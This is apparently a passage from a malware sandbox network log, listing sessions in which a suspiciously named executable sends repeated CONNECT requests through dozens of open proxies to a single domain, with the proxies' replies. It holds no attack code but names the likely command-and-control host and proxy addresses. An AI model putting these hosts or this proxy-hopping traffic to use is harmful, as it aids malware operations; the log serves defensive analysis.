Mar 11, 2024 16:42:27.214610100 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:27 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1597	192.168.2.11	51068	69.75.140.157	8080	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:27.061126947 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:30.173125029 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1598	192.168.2.11	54988	27.96.235.171	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:27.063415051 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1599	192.168.2.11	55032	104.129.206.65	8800	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:27.063803911 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:27.268126965 CET	125	IN	HTTP/1.1 407 Unauthorized Server: Zscaler/6.2 Cache-control: no-cache Content-Length: 0 Proxy-Authenticate: Negotiate
Mar 11, 2024 16:42:29.956789970 CET	125	IN	HTTP/1.1 407 Unauthorized Server: Zscaler/6.2 Cache-control: no-cache Content-Length: 0 Proxy-Authenticate: Negotiate

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1600	192.168.2.11	54669	194.4.50.91	12334	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:27.064162016 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1601	192.168.2.11	54638	208.109.14.49	50540	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:27.070714951 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:30.141961098 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:33.235784054 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:39.256206036 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:51.353634119 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:03.469806910 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:15.540910959 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:39.547821045 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:44:27.688314915 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1602	192.168.2.11	54678	162.241.53.72	53755	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:27.077936888 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:30.173171997 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:33.189068079 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:39.191395998 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:51.282336950 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1603	192.168.2.11	55006	45.120.178.197	1080	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:27.078347921 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1604	192.168.2.11	54993	141.95.160.178	18951	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:27.078804016 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:27.829452991 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:28.830045938 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1605	192.168.2.11	54971	203.112.134.74	5678	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:27.079060078 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1606	192.168.2.11	55013	125.122.26.242	1080	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:27.139777899 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1607	192.168.2.11	55030	158.255.215.50	16993	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:27.152568102 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:27.447026968 CET	339	IN	HTTP/1.1 403 Forbidden Server: squid/4.7 Mime-Version: 1.0 Date: Mon, 11 Mar 2024 15:42:27 GMT Content-Type: text/html;charset=utf-8 Content-Length: 5 X-Squid-Error: TCP_RESET 0 Vary: Accept-Language Content-Language: en X-Cache: MISS from proxy.wakoopa.com Via: 1.1 proxy.wakoopa.com (squid/4.7) Connection: keep-alive Data Raw: 72 65 73 65 74 Data Ascii: reset

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1608	192.168.2.11	54977	120.50.13.38	40308	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:27.153203964 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1609	192.168.2.11	51098	107.180.103.214	61634	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:27.167840004 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:30.173254967 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1610	192.168.2.11	50995	185.18.198.163	58714	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:27.176019907 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:30.297848940 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:33.376584053 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:39.376543045 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:51.469706059 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1611	192.168.2.11	54796	104.37.135.145	4145	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:27.192550898 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1612	192.168.2.11	54989	175.183.82.221	8197	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:27.202858925 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1613	192.168.2.11	54690	65.109.163.154	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:27.215358019 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:27.603528023 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:27 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1614	192.168.2.11	51084	200.7.11.154	8080	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:27.217021942 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:29.486006975 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1615	192.168.2.11	55017	121.204.179.70	7777	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:27.221084118 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:31.954404116 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1616	192.168.2.11	54695	162.223.89.84	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:27.254563093 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:28.583913088 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:28 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1617	192.168.2.11	55085	72.167.222.113	4125	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:27.258269072 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:27.782388926 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:28.376372099 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1618	192.168.2.11	55041	103.127.1.130	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:27.258655071 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1619	192.168.2.11	55065	103.166.141.74	20074	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:27.259891033 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1620	192.168.2.11	51100	37.187.24.201	81	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:27.293369055 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:30.298259020 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:33.376584053 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:39.376601934 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:51.470052958 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:03.469981909 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:15.579092026 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:39.579178095 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
